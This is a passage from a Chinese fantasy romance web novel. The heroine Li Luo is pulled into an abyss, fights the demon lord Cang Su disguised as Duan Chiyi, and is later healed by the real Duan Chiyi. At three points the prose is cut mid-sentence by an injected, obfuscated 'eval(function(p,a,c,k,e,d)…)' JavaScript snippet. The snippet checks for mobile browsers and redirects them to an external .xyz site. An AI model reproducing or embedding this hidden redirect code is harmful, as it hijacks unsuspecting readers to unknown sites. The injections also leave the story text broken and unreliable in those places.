黎落感觉自己像飘在云端,踩不到实处的感觉让她无比慌乱,下意识攥紧了段迟意衣服,一时间想躲进他怀里,一时间却又想后退。 他有所察觉,抚在她背脊上的手安抚似的上下摩挲,却将她圈在自己怀里,让她只能越发倒在他身上。 她仰着头,被他吻得呼吸急促,心跳凌乱起来,后颈上的手温热,勾缠着她的发,不轻不重地贴着她的皮肤,带来沉甸甸的实感。 于是她终于放下心来,开始回应他的索求。 …… 段迟意抬手,拇指擦过她唇。 他低头,和她额头相抵,漆黑的双眸中映出她红扑扑的脸,两人的心跳交缠在一起,分不清是谁在砰砰作响。 黎落喘息,下意识咬他手指。 他眼里浮现笑意,手放在她脸颊,柔柔贴着,由着她咬住他的指尖,牙齿在指腹上划过,痒痒的。 “怎么又咬我?” 他低声道,声音有点哑,却依然容易让人联想到山涧的泉。 唇上带着水光,中央还留着一道牙印,是她的杰作。 黎落不知怎的被这副场景刺激到,叼着他的指节磨了磨,忽然作势用力要咬。 段迟意笑起来。 他手上未动,却忽然凑近,隔着手指,轻贴她的唇。 一个一触即分的吻。 黎落愣愣地松开他的手指,引得段迟意笑的更开怀。 他红唇湿润,神情温和,眉目如画,整个人好像一个勾魂夺魄的妖怪,一手在她背后揽着,一手轻抚她的脸颊: “黎落,你真的不喜欢我吗?” 黎落的表情更呆了。 她怔怔望着他的脸,像是被鬼魅勾了魂。 “我其实……” 她神情困惑,欲言又止。 这“鬼魅”于是继续用绝美的容貌勾引她,还漫不经心地“嗯”了一声,尾音上扬,诱她上钩: “其实什么?” 黎落果然上钩:“其实我挺喜欢你的,但是不知道为什么,鲛珠没有反应……” 说着,她极快地回过神,从他怀里挣脱出来,伸手掏出乾坤袋里翻来翻去,边说: “用鲛珠再试一次吧。” 怀里骤然一空。 段迟意无奈地看着她。 黎落翻了半天,终于摸到了珠子。 她眼睛一亮:“找到了!” 拿着鲛珠的手腕却被段迟意按住。 他轻轻一捏,黎落便觉手掌一麻,一松手,珠子“咔哒”一声掉了回去。 他把她按到自己怀里,阻止了她拿出鲛珠的动作。 黎落的脸贴在他胸前,看不见他的表情,只能听见他的心跳“砰砰砰”捶在她耳边。 段迟意的声音从头顶传来,十分冷漠无情: “不许试。” * 封樾扯开胳膊上缠绕的藤蔓,跌跌撞撞走到悬崖边。 魔气察觉崖上有人,凝成狰狞可怖的虚影,呼号着冲上来,却又被法阵骤然拉下。 只剩空气中逐渐湮灭无踪的硝烟气息,昭示着崖下是怎样一番炼狱。 他双目无神,头痛使他眉头紧皱,不得不按着太阳穴,却无法阻止那道声音在他脑海中重复: “入极渊。” “——助本尊破阵。” 崖下魔气一波波涌上来,在靠近封樾的时候成魔爪状,试图将他拽下。 被封樾甩在地上的藤蔓化作人形,程韵顾不得胸口的疼,急忙喊道: “君上不要!” 封樾不为所动,魔气再次涌上,攀住他四肢与脖颈。 程韵一急,脱口而出: “君上莫要为其所控,渡魂玉定在云苍阁主手中!” 这句话终于使封樾清醒了一瞬。 被魔气拉下悬崖的瞬间,他周身涌出一道魔气,直直打向程韵额间。 程韵身形一僵,瞳中墨绿竖线猛得一闪,转眼便被暗红之色遮盖。 封樾的动作骤然变得迟缓,万千魔气瞬间涌上他的身躯,将他彻底拖入阵法中去。 与此同时,那些不断涌上来的魔气没了动静,只剩阵阵惨烈呼号,被阵法压在其中,不见天日。 程韵立于崖边,神情怪异,仿佛被人控制似的,嘴唇一张一合间,吐出两个字来: “黎落。” * 黎落又打了个喷嚏。 她怀疑自己是真的感冒了,不然为何从昨夜到现在,她脸上总是热热的。 心脏也突突突跳个不停,好像有什么事情要发生一样。 黎落走到门口,发现段迟意和穗穗好像在吵架,或许还打起来了,她隐约听见什么“心腹”、“上位”的字眼。 只是他们似乎并不想让这些事情打扰到她,每次都要在她面前装作和睦的样子。 于是她很体贴地退了回去,转而去了后院。 后院的花开的正盛,黎落时不时就和这些可怜的“炮灰”们说说话。 毕竟,说不定有一天,她也得躺在这儿了。 随手拨拉了一下花叶,忽然听见一道剧烈的爆炸声从极渊方向传来。 脚下地面随之一晃,她体内的魔气在那一瞬间冒了出来,像是受到召唤般躁动不安。 黎落猛地抬手按住心口,试图压住体内的魔气,眼睛却飞快漫上黑雾。 但不过一眨眼的功夫,这突如其来的躁动便消失不见,连同极渊那边重复多日的喧嚣声也骤然停止了。 安静中透着不详和诡异。 不会是极渊被打开了吧…… 黎落心里蓦地浮起这个念头。 “魔君性命垂危,剧情线出现偏差,请宿主及时修正——” 系统的警告声在她脑海中响起的同时,花丛中跃起一根细长藤蔓,尖刺泛红,缠上了黎落的手臂。 接连异动使她的反应慢了一拍,胳膊一痛,视线变得模糊。 本该甩出魔气自保,但黎落很快又意识到,这是原书里,“藤妖程韵嫉妒女主,将其扔进极渊”的剧情。 系统所说的“及时补救”,应该指的就是这个剧情。 极渊…… 她犹豫了一瞬。 只片刻的功夫,那藤蔓上妖力混着与她相似的魔气,在云苍阁中畅通无阻,将她朝下一扯,瞬间消失在园子里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484538|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 藤妖刺尖带毒,黎落一路上晕晕乎乎,魔气鬼魅般扫过她露在外面的皮肤。 等意识再次回笼时,她发现自己躺在一处昏暗潮湿的地方。 一双眼睛在黑暗中死死盯着她。 黎落转头,与其对视。 “封樾?” 她认出了对方。 但让她感觉惊悚的是,这位原著中高高在上的魔君,此刻竟形容狼狈。 发丝凌乱,面色灰败,双目充斥血丝,好像几年没睡觉的疯子。 “黎……落。” 他咬牙切齿地喊出她的名字,声音沙哑如同破纸板摩擦: “渡魂玉在哪?” 黎落从地上站起来,朝后退了两步,装出听不懂的样子。 那双阴测测的魔瞳仍死死钉在她脸上,语气笃定: “秦如霜是你杀的,骨伞也落入你手中,当日在冯府中抢走魔魂的人就是你,是不是?!” 她不吭声,心道封樾这蠢货终于发现了不对劲。 但对方却只是厉声质问,竟没立即扑上来掐她的脖子,这倒是不符合他的作风了。 黎落仔细观察,发现封樾身上似乎有一道无形的束缚,将他锁在原地。 是谁?能把封樾都困住? 黎落心下诧异。 她边暗中打量出口的方向,边漫不经心开口,十分平常的语气,好像说的不是什么大事: “渡魂玉我摔碎了。” “你——!” 封樾勃然大怒: “好啊,好啊……” 他竟笑了起来,模样更加疯癫: “本君堂堂魔君,竟被你一个弱小人族所骗……哈哈哈哈……” 系统的提示再次冒了出来: “魔君性命垂危,剧情线出现偏差,请宿主及时修正。” 黎落等封樾笑完了,才开口问道: “这儿是极渊吗?是谁抓的你?” 她容色一如往日清丽柔顺,但此情此景下,仍是这样一副柔和镇定的模样,便显得有些不同寻常了。 封樾却好像看见了什么有趣的东西。 他的双眸暗淡下去,额间似乎有红痕一闪而过,整个人瞬间从疯癫状态安静下来,显出几分高深莫测来: “是……他。” 他开口,语气有些诡异,盯着黎落的目光也变得古怪,像地底深处怪物的窥视。 黎落顿觉汗毛倒束。 封樾这古怪情况只出现了一瞬,他很快恢复原状,厉声威胁她: “本君若死,你为本君陪葬!” 黎落反倒放下心来。 这句话原书中的封樾也说过。 不过在原书里的时候,女主和封樾两情相悦,却因为封樾魔魂不稳的缘故,只能虐恋。 这句话反而是封樾“疯批但真爱”的糖点。 只是现在封樾显然恨她恨的牙痒痒,竟然还是说出了一模一样的台词。 恨与爱竟殊途同归。 黎落顿时觉得有些百感交集。 下一刻她又意识到,这段原书中最大的虐点,皆因封樾“魔魂不稳,有被沧宿夺舍”的危险。 封樾宁可带着女主一起死,也不肯将她让给沧宿。 那他此刻的状态,莫非…… 黎落反应过来,二话不说转头就跑。 “呵。” 一声冷笑自背后传来。 魔气如爪,追逐而上。 骨伞展开,如出一辙的魔气爆出,与背后追来的魔气相撞。 她顾不得系统接连不断的提醒,拼了命朝有光的出口跑去。 封樾暂时死不了,但自己若慢上片刻,一定会死的比封樾还惨。 毕竟,原著里的魔魂、骨伞全在封樾手上,女主身上只有没有被催动的混沌之力。 但现在,她才是那个抢了沧宿魔魂、骨伞,甚至还催动了混沌之力的人。 魔气相融,对方收手,没有追上来。 黎落一头撞向眼前的出口。 四周场景扭曲了一瞬,她一脚踩在平整的地面上,还带着身后昏暗潮湿的气息,却发觉外面分明天光大亮。 惊慌之下没看见前路,额头“咚”得一声,撞上一处坚硬如石的身躯。 她被撞得脑袋发懵,后退两步看向来人,不由得脱口而出: “段迟意?” 42. 第 42 章 面前人神色冷漠,几乎可以说是没有表情。 在听到黎落喊出“段迟意”三个字时,他极轻地挑了下眉。 “黎,落。” 他一字一顿叫出她的名字,而后勾起个疏离的笑容: “终于找到你了。” 他抬手,抚上她的脸。 他的手很冰,却不像以往那样柔软,反而从骨子里透出让人畏惧的冷意。 黎落隐约觉得古怪。 但她心里有更担心的事情,于是只拉住“段迟意”的手: “这里很危险,沧宿在这里,他恐怕真的要复活了。” “段迟意”动作停顿,眼里浮现几分玩味。 他看着黎落的头顶,语调平而冷淡: “你怎么知道?你见到他了?” 黎落摇头。 她没有抬头看段迟意的表情,而是有些神思不属: “应该不会有错。” 原书剧情中,封樾熬过了这一关,彻底击败沧宿,甚至得到了玄铁。 但现在,系统不断提醒她“剧情有变,封樾性命垂危”。 且看封樾现在的状态,分明已经被半夺舍了。 为什么? 是因为她抢走了渡魂玉吗? 黎落心下不安。 如果封樾真的死了,她会被系统抹杀吗? 额头一凉。 黎落茫然抬头,发现竟然下雪了。 雪地,空茫的环境,只能让她想起珩亦一剑斩杀她的场景。 恐惧本能从心底漫上来,她不由得抓紧了“段迟意”的手,哪怕是冰冷的,也让她觉得安心。 “段迟意”微笑着,双目间却一片冰凉。 他大力回握住黎落手腕,丝丝缕缕的魔气从他指尖溢出,朝着黎落经脉钻入…… 剑光忽现。 破妄剑破空而来,剑势凌厉,劈开一片正在下坠的雪花,带着寒意砍向黎落身边的“段迟意”。 “段迟意”神色瞬间转成阴冷,猛得一扯黎落手腕,将她拉到了自己身前。 剑尖正对着她的眼睛。 世界安静,仿佛可以听到雪花被砍断时发出的清脆的碎裂声,甚至那朝两边坠下的半片雪花的纹路都变得格外清晰。 银白的剑、覆霜的面具、面具后冷而无情的黑眸,纷纷在黎落眼前放大,渐渐和记忆中的场景重合。 她再次感受到心脏被刺穿后冻结成冰的痛。 动作发自本能,比思考的速度更快,恐惧催生出无限扩张的能量。 ——拼劲全力,哪怕自身就此消亡。 骨伞张开的瞬间,混沌之力缠绕而上,不留余力地扑向手持破妄剑的人。 这是绝对不同于魔气的气息,甚至黎落身上没有丝毫魔气。 但段迟意丝毫没有感到放心。 因为黎落展露出的气息比任何时候都要可怕。 他立即便意识到,这就是黎落一直瞒着他的那股力量。 全力催动后比魔气更为凶狠,带着几乎足以毁天灭地的杀伤力,以骨伞为媒介,在他收力的瞬间,毫不留情地撞上破妄剑。 漫天落雪滞空一瞬。 “咔嚓”一声。 细微的裂痕从伞身一点蔓延开来,逐渐成了一串连续不断的碎裂声。 魔尊法器骨伞,竟也承受不住这股力量,一道长而弯曲的裂痕嵌于伞骨中央。 而这声骨裂的声音仿佛打开了什么开关,杀气以骨伞和破妄剑相撞处为中心,猛得向四面炸开,削山震海。 黎落身后的人终于维持不住镇定表情,露出显而易见的诧异。 这个凡人……竟然催动了混沌之力?! 连他都未能完全做到! 他眸光暗下去,看着黎落的表情诡异莫测。 段迟意持剑的手腕一颤,鲜血从虎口流出,一滴滴砸到地面。 他甚至不敢张口叫黎落的名字,因为只要一张嘴,就会不受控制地吐出鲜血。 这一瞬间,他心里浮现的反而是黎落的话。 “我想杀了珩亦。” 原来她真的这么想杀他,哪怕是为了替别人挡剑,她也会毫不留情地动手。 原来这才是她真正的力量。 黎落一击之后便不动了。 她不知道面前人和身后人心里的复杂想法,只感觉到自己体内各种力量碰撞纠葛在一起,余音绕梁般连绵不绝,连带着头脑都一片混乱。 她原本面无表情地站着,某个时刻忽而脱力,朝后倒下,被身后人及时接住。 段迟意双眸猛得一缩,提气便要上前,却因伤重不支,轻易被对方魔气压住。 那人顶着他的容貌,神态间却全然一派嘲弄之色。 他故意当着段迟意的面,将黎落挟制在怀中,手指抚过她脸颊,带着狎玩之态。 段迟意周身杀气暴涨,忍着经脉逆转的痛楚,强撑着一剑劈下,却劈了个空。 黎落和那人站立的地方如同水波纹一般散开,两人瞬间消失在他面前。 他单膝跪地,撑着破妄剑,终是支撑不住,呕出一口鲜血。 不及心中愤恨绝望之痛。 * 冰凉的触感顺着额头划到颈部,像毒蛇爬过皮肤,带着让人战栗的不适。 黎落皱起眉头,想要挣脱这股压着她眼皮的沉重痛意。 她还活着吗? 她死在珩亦剑下了吗? 她想要抬手触碰自己的心脏,好知道它是否还在跳动,但摸到的却是冷而光滑的布料。 黎落猛得睁开眼,看到了坐在她身边的人。 长睫浓密,眸似点漆,眼尾微微上挑,美的惊人。 是段迟意。 可又不像。 她迟缓地意识到,段迟意不会露出这样的眼神。 他的眸光总是沉静而淡漠,像淬冰的冷玉,透着干净纯粹的光泽。 但面前的这张脸却处处透着违和。 尤其是这人嘴角微微勾起的弧度,眉眼间露出的目中无人的嘲讽之色,简直是对段迟意这张脸的侮辱! 这个冒牌货—— 他凭什么用段迟意的脸做这种表情? 他怎么敢用段迟意的脸做这种表情?! 黎落心中怒火丛生。 但她知道自己体内的混沌之力尚未恢复。 而这人身份不明、目的不明,气息更是莫测难辨,还故意装成段迟意的样子,恐怕不好对付。 她只得暂且压下心里那份“恨不得撕烂这张假脸的冲动”,装作一无所察的模样,按住在自己脸上游离的手,语带关切: “段迟意!你怎么样?你受伤了吗?” “段迟意”垂首望着她,眼里有不屑一闪而过。 这个蠢女人,竟然转头就忘了他拉她挡剑的事。 混沌之力怎么会被这种愚蠢的生命催动? “你替我挡剑,我怎会受伤?” 黎落闻言,露出那种有些害羞、又有些甜蜜的表情: “我也没想到,自己竟然这么有勇气,可能是因为……” 她顿住,漂亮的眼睛看向他。 她的目光让“段迟意”觉得古怪。 他杀过那么多人,见过那么多绝望的、憎恨的、痛苦的眼神,却从没见过这样的,明媚的、柔和的…… 她笑了一下,没再继续说下去,而是转了话题: “你是怎么找到我的?” “段迟意”道: “你被藤妖抓走,我担心你,便追来了。” 他语调平平,说着担心关切之言,脸上却全然没有“关心”之色。 “这样啊。” 黎落躺着,神情有些怅惘: “那……我和他的事儿,你都知道了?” 她看着他的眼睛,神情委屈,像是快要哭出来: “我真的不知道他会做出这种事来,还连累了你,现在我们都出不去了……对不起……” 她捂住眼睛“呜呜呜”哭了起来。 哭的面前人心烦。 他萌生出一股想要将她掐死的冲动,魔气随心意而动,自他两肩生出。 黎落却又飞快放下了手,瞪着他,仿佛恋人间的抱怨打闹: “你怎么不说话,你已经如此厌烦我了吗?” 这话说的倒是他心声。 从未有人敢在他面前如此吵闹。 若非顾忌着混沌之力已被催动,他早就可以杀了黎落,把她身上的魔魂和混沌之力一起剥掉。 但他从未尝试过同女子虚以委蛇,怎么装都有些压不住心里的戾气。 “段迟意”目光平直,手伸到黎落面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489964|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,比划着该从哪里下手捏死她。 她却忽然一把握住他的手,神情柔弱,语气却十分理所应当: “你扶我一下。” “段迟意”早被她的喜怒无常和又哭又笑搅晕了,乍然听见她自然而然的吩咐,下意识伸手去扶。 黎落按着他的胳膊借力,十分艰难地坐起来,动作缓慢,仿佛只是起身就用尽全身力气一般。 她低着头,垂下来的头发挡住了她的眼睛,露出一段纤弱白皙的脖颈,在昏暗的屋子里显得太过亮堂。 “段迟意”的注意力下意识放了过去。 几乎瞬间,他颈上骤然一凉,剧痛袭来。 蓦地回头,正对上黎落松开刀柄的动作。 混沌之力成利刃,直接捅穿了他的脖子。 这副虚假身躯因而支撑不住。 黎落起身,面朝着他朝门的方向退去。 “段迟意”的五官开始扭曲,虚假的脸皮从他面上脱落,整个人如同扎破的皮球般漏气干瘪下去。 这一幕看在黎落眼里委实有些可怕。 未完全脱落的嘴一张一合,声音沉如暮鼓,阴冷可怖: “若非人族躯体脆弱,不堪一用,单凭你能催动混沌之力,女身——也未尝不可。” 他还想夺舍她! 黎落瞬间甩出骨伞,却被他控在身前。 她匆忙想拽回来,对方却一手成爪,隔空将骨伞定在原地。 黎落一惊,发现对方的魔气顺着骨伞攀了过来,而她身上的魔气竟与之共鸣,顿时被压得动弹不得。 她彻底确定了对方的身份: “沧宿?你是魔尊!” 沧宿冷笑一声,声音却里没有丝毫情感。 “本尊的武器和魔魂,你用着倒顺手。” 他扣爪回收,黎落体内魔魂顿时不稳。 两道魔气同生同源,齐齐绞着她体内经脉,与混沌之力缠绕在一起,几乎要把她的五脏六腑都生扯出去。 不能…… 不能让出混沌之力…… 黎落攥紧了骨伞伞柄。 沧宿顶着脱落的人皮,露出里面混乱缠绕的魔气,见状不屑一笑。 魔魂是他的,混沌之力也是他的,一个卑贱人族,如何敢抢他的东西? 他微微用力,黎落便感受到心脏猛得一颤,仿佛被生生扯离了位似的。 眼前涌上血色,视野一片通红。 沧宿露出期待神色。 他没能真正催动混沌之力,但只是拥有,便可成魔成尊,搅乱三界。 不知这已经催被动的混沌之力落入他手后,仙门,还有那个成胥,又该如何杀他? 想想就觉得有趣。 他缓缓转动手掌,魔气附在指尖,如同绳索般缠着黎落的脏腑,使其随之转动错位…… 异变突生。 黎落身形静止不动,猛得抬头,一双眼睛全黑无白,凝视着沧宿的方向。 她什么都不看到,仅凭着骨伞上的魔气,猛的炸出一道强光,一路顶开沧宿的魔气,顺着骨伞伞柄反杀而去。 伞柄上的裂痕再度扩大,如长蛇攀缘,一路闪至顶端,又沿着伞面四散而去,细小的碎裂声密集而连续。 骨伞最终承载不住混沌之力的冲击,被彻底炸成了碎片,又于半空中散成网状,将沧宿的身体完全遮盖。 ——然后混沌之力骤然压下。 墙壁飞起,整个屋子、连同里面所有的东西都被炸飞了出去。 沧宿同样未能逃脱。 虚假的骨肉撕裂,露出其中缠绕无状的魔气,被混沌之力冲散后一时难以成形。 大片的雪花落下,将废墟遮成雪白。 黎落跌跌撞撞走了出去。 极渊中的空间再次扭曲,场景转变。 她视线中只余大片黑红两色拼凑而成的色块,覆盖了全部视野,看不清路,不辨方向,只能像无头苍蝇一样到处乱撞。 直到撞上了一堵推不开的墙。 一双手按在她肩膀上,格外用力,阻止她朝一边撞去。 她于是又闻到了记忆中的那股熟悉的冷香。 凉凉的,夹杂着淡淡的血腥气,却让她感到无比安心。 “段迟意……” 她喃喃道。 这次应该不会认错了。 43. 第 43 章 段迟意被黎落仰面按了下去。 后背接触地面的瞬间,场景再次扭曲,纷纷扬扬的雪被阻隔在窗外,他抱着她摔进一张软垫。 黎落俯在他耳边,声音因疼痛而颤抖,本能唤他名字: “段迟意……” 他微微蹙眉,握住她的手,顾不得脸上还带着面具,灵力探入她经脉,却又瞬间被弹了出去。 黎落顿时痛呼出声,隔着衣服重重咬向他肩膀。 立时见血。 段迟意心道不妙。 他来不及起身,任由黎落趴在他身上,双臂按住她后背,神识离体,钻入黎落体内。 浓重的魔气缠在她经脉和脏腑上,灵魂几乎要被魔气分割成块。 他试图帮她斩除体内的魔气,但黎落明显抗拒起来。 她咬着他肩膀的力气加重,除却魔气以外,另一股力量也跟着躁动起来——是黎落用来重伤他的那股力量。 此刻感知到他想要拔除魔气的打算,一边死死扯着魔气的边缘不放,一边朝他的神识扑杀而来。 他强行去拽,黎落体内魔气反而拧得更紧。 她不肯松手,害的自己痛得厉害,咬他更狠,恨不得从他肩上撕下一块肉来。 段迟意只得停下。 他用手抚了抚黎落后背,待她咬着他的牙齿松了些,才轻声同她商量: “我不会害你,更不会抢你的东西,你能相信我吗?” 黎落没回答,她已神志不清,但段迟意的声音格外温柔,纵使与记忆中稍有差别,她也能感受到熟悉的语调。 她身上的杀意后退些许。 段迟意便悄然放出神识,朝她丹田移去。 甫一靠近,便感知到那股强大的气息,携带天地法则,平等压向每一个靠近它的东西。 纵使段迟意不曾与魔尊正面对上,却也能立马猜出这股力量的来源。 魔尊得以立足的根本,仙门一直忌惮的存在…… 竟然在黎落身上?! 他心下惊疑不定。 黎落只觉一股凉意靠近她藏着混沌之力的地方。 她本能觉得危险,生怕是沧宿要抢混沌之力,顿时卯足全力反抗,整个人拼命挣扎起来,想要挣开他箍在她后背的手臂。 但她体内气息仍一片混乱,动作幅度越大,脏腑与经脉上的魔气便勒得越紧。 她眉头紧皱,一下子摔在他身上,露出痛苦神色,呼吸带着痛楚,整个人抖了起来。 按着她后背的手臂丝毫没有放松,灵力不断试图冲她经脉,同时却有轻吻落在她发顶。 蜻蜓点水一般,带着神奇的魔力。 “黎落……” 段迟意察觉到黎落的抗拒和恐慌,收敛了气息。 他一边全神贯注躲着混沌之力的攻击,试图找到可以破开魔气的口子,一边不断低声安抚她。 “没事的,别怕……” 他轻声哄着她。 黎落痛极怕极,却又挣脱不开,绝望之下等了许久,却没有等来攻击。 段迟意的安抚起到了效果,也许是挣扎太久没了力气,她终于放弃挣扎,趴在他怀里,疲惫地呼吸。 混沌之力与魔气缠绕的力量也松了一些。 段迟意不敢强行动手,怕她再次激动起来,只能用灵力缓缓朝她经脉靠近,一点一点将扭曲缠绕的魔气解开。 解不开的便用灵力盖着,将魔气冻结起来,起码让她不那么难受。 他做的极有耐心,没有露出丝毫攻击性,黎落逐渐接纳了他的灵力,许是感受到他的好意,不再主动攻击他。 但也只缓了片刻,黎落又开始闹腾起来。 她睁眼,茫然地转动眼珠,却什么也看不到。 眼前一片黑暗,鼻尖却有淡淡的血腥味,轻易让她想到两河镇的地窖。 她心里生出一股巨大的不安定感,呼吸加重,按在段迟意肩上的双手开始颤抖。 灵力在她经脉和脏腑上游动,解开魔气的感觉像鱼尾划过,带着凉意,而后便是更加明显的烫和后知后觉的疼。 她忽然侧头,咬他下巴。 段迟意帮她解开魔气的动作一顿。 然而黎落并不是咬着不动,她像是在用他的皮肤磨牙,一边急切想要在他皮下寻找什么似的。 没有咬破皮,却格外警惕细致,一寸寸啃咬过他的骨肉,带来一长串的战栗和痒。 段迟意逼迫自己收回注意力,全神贯注清理魔气。 只是随着缠绕她经脉的魔气被逐一解开,黎落越是感觉焦虑。 她舒服了,不疼了,心里的暴躁便无处发泄,更加变本加厉地啃他的脸。 ——却被面具挡着。 她用额头和脸在面具边缘蹭个不停,想将碍事的面具蹭开,鼻尖不停划过段迟意耳侧,却没能成功。 她眉眼间闪过厌烦,转而低头开始咬他的脖子。 这次明显带着怒意,一上来就咬破了皮,渗出血来。 黎落咬着伤口,停了片刻,忽而轻舔,舌尖将血珠卷走。 段迟意浑身一僵,感受到她呼吸温热,打毫无遮掩的脖颈上。 他生平第一次感觉到命脉被人拿捏的紧张。 她的唇缓缓下移,细吻落在凸起的喉结上,柔软湿滑的东西擦过喉结下的小痣,带来一股难言的冲动…… 段迟意浑身一僵,揽在黎落后背的手臂猛得用力。 她吃痛,感觉骨头快要被人勒断,下意识弓起上半身,却又被他的手臂阻拦,再次趴到他身上。 黎落愤愤磨牙,低头又一次咬向他的脖子,在喉结上留下极深的牙印。 段迟意彻底不敢动了。 这个口口声声说着要杀了他的人,不久前还毫不留情地将他打成重伤,此刻却跪坐在他身上,肆无忌惮地啃着他的脖子。 段迟意闭了闭眼,缓缓叹了口气。 然后他抬手,顺着她的后背上移,触碰到她的后颈。 指尖冰凉,带着点细微的潮湿,激得黎落一愣。 她缩着脖子打了个哆嗦,松开了牙,因为看不见东西,双目并不聚焦,神情显得有些呆滞。 段迟意垂眸看着她,指尖浮出灵力,轻敲在她后颈。 身上人一下子瘫软下去,终于不再折磨他了。 段迟意缓了几秒,抱着黎落换了个姿势,将她放到软垫上。 然后他拿出那块仙门的传送玉牌。 没有过多犹豫,寒气自他指尖浮现,将玉牌彻底冻结。 一用力,寒冰将玉牌彻底碾碎,消弭于空中。 段迟意盯着那冰雾沉默。 他希望仙门,永远不会找到黎落。 * 黎落这一觉睡得格外不安稳。 梦里她化身猛兽,将一切危险之物按在爪下,咬断猎物的脖颈,保住了自己的小命。 醒来时舌尖还带着点腥甜的铁锈味。 她睁开眼,视野虽不再是一片漆黑,却还有点不够清楚。 隐约看见身处之地是个简陋的房间,墙上挂着个反着银光的镜子。 …… 她被银光闪到,眨了眨眼,记忆和思绪迟缓地回归,一个场景率先浮现在她眼前: 她趴在一人身上又啃又咬,还试图揭开对方的面具,没成功后继续对其脖子又啃又咬…… 面具…… 她脑子“嗡” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494042|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得一声响了起来。 不会吧…… 不会吧…… 她隐约记得自己从沧宿手下逃出来后,是遇见段迟意了啊? 难道她又认错人了? 她摸上自己脸,先按了一下,然后猛得开始揉,试图揉出更多有关昨晚的记忆。 没有了,她昨天什么都看不见,只记得面具格外凉,边缘很是坚硬,她头脸并用也没能将面具撬开…… 似乎的确真的就是仙门首徒珩亦仙君。 黎落面如土色,仰头倒了下去。 有人闻声推门而进。 黎落“蹭”地坐起来,神情紧张。 她也看不清东西,只隐约感受到来人身量极高,是个男子。 不会是…… 她起身就想跑。 被人拉着胳膊转了一圈固定在身前。 熟悉的声音从头顶响起,略微不快: “你跑什么?” 黎落顿住:“段迟意?” 她睁大眼睛试图看清他的脸,但眼前只有暗沉一片,勉强能看见轮廓。 于是她又抬高手臂。 段迟意配合低头。 黎落两手按在他脸上,半瞎一样眯着眼睛,左右上下摸了一遍他的五官。 皮肤有些凉,但起码不是冰冷的面具。 她放心不少。 段迟意将她的动作尽收眼底,一下子便猜出了她在担心什么。 他握住在他脸上作祟的手,拉下扣在自己身前,而后俯下身子,和黎落保持在同样的高度,盯着她的眼睛淡淡开口: “你以为我是谁?” “!” 黎落深吸了一口气。 她感受到段迟意的靠近,但又看不清他的表情,这让她莫名紧张。 她忍不住在心里盘算。 段迟意是不是知道什么了? 珩亦去哪了? 珩亦和段迟意撞上了吗? 她昨晚除了咬珩亦的脖子,还做什么别的事了吗? 昨晚到底是不是做梦啊?珩亦没有趁机杀她吗? 其实极渊里环境诡异,她咬的也不一定就是珩亦吧,也有可能是别的什么妖怪假扮的…… 天呐…… 段迟意静静看着她,看她胡思乱想时眼神放空,脸上的表情也跟着越来越凝重。 不知道最后思维歪到了什么地方,细眉蹙起,神情看着有些绝望。 段迟意觉得好笑,但他故意用冷淡的语气问: “你昨天干了什么?伤这么重。” 黎落的眼珠子随着他的问题迟缓地动了动,回过神来。 “昨天……” 昨天差点杀了珩亦,后来和沧宿打了一架,然后她认错了人咬了珩亦…… 天呐…… 黎落的表情再一次变得绝望。 她从段迟意手里抽回自己的手,按在自己脸上,语气十分心虚: “昨天……也没干什么。” 她也不知道自己为什么要隐瞒见到珩亦的事情,或许是不想让段迟意知道自己认错了人,还认错了两次: “我被抓到这里后和一个魔头打了一架,那个魔头好像是魔尊,脸会掉皮,好可怕、好危险!” 她一脸夸张地描述了沧宿的可怕,然后避重就轻道: “幸好我机智勇敢地跑了出来,然后晕倒了,醒来就看见你了。” “哦。” 段迟意对沧宿的事情不置可否,故意又说: “那就奇怪了,你体内魔气乱成这样,竟然还能自愈……” 他又凑近她一点,声音轻似羽毛: “黎落阁主,你长本事了啊。” 44. 第 44 章 黎落听出了段迟意语气里的嘲讽,她睁大眼睛,恼羞成怒地反问他: “你什么意思?你不相信吗?” 段迟意轻哼一声: “相信。” 但他语气凉凉的,任谁听了都能听出来他不相信。 黎落于是皱着脸,语气有些讨好: “那……你觉得我是怎么自愈的呢?” 段迟意上下扫她一眼,目光如有实质,看得黎落高度紧张,下意识咬住下唇。 他的视线从她露出的那点牙齿上掠过,顿时感觉自己肩膀和脖子上被她咬出的伤口齐齐一麻,痒意从中泛上来。 昨夜的些许场景又从他脑海中浮现。 他不自在地轻咳一声,道:“许是苍天有眼吧。” 黎落:“……” 她十分庆幸地松了口气,下意识接了一句: “顶多算半只眼吧,没完全治好,我现在还看不清东西呢。” 段迟意的目光倏的又落回她脸上。 黎落虽看不清,却能感觉到他的视线跟结了冰的剑似的,来回刮着她的脸皮。 